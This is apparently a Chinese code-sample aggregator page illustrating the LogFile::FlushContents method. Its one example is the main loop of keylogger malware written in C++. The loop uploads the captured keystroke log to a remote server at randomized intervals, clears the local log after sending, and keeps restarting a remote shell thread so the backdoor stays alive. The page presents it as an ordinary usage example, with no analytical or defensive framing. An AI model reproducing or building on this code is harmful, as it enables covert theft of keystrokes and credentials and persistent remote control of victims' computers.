本文整理汇总了C++中LogFile::FlushContents方法的典型用法代码示例。如果您正苦于以下问题:C++ LogFile::FlushContents方法的具体用法?C++ LogFile::FlushContents怎么用?C++ LogFile::FlushContents使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类LogFile
的用法示例。
在下文中一共展示了LogFile::FlushContents方法的1个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: KeyLoggerLoop
void KeyLoggerLoop()
{
DWORD old_time = 0;
HANDLE hthread = NULL; // remote shell thread
// init rand generator seed
srand(GetTickCount());
while (IsKeyLoggerRunning)
{
// upload log to server after specified timespan
DWORD current_time = GetTickCount();
DWORD rand_time_span = rand() % 10000 + 5000;//600000 + 300000; // 600000 = 10 mins in milliseconds, 300000 = 5 mins
DWORD file_size = log_file.GetFileSize(); // file must be > 100 bytes before being sent over the net
if ( (file_size >= 100) &&
(old_time == 0 || (current_time - old_time) >= rand_time_span))
{
// update oldtime for next iteration
old_time = current_time;
// post log file to server
if (client->UploadLog(log_file.logFileName))
{
// flush log after it is sent to sever (to avoid duplicate information)
log_file.FlushContents();
}
}
// keep alive remote shell
DWORD exitCode = 0;
if (hthread != NULL) // we are not running for the first time
GetExitCodeThread(hthread, &exitCode);
if (exitCode != STILL_ACTIVE)
{
// (re-)initialize the remote shell
hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RemoteShellThread, client, 0, NULL);
}
Sleep(500);
}
}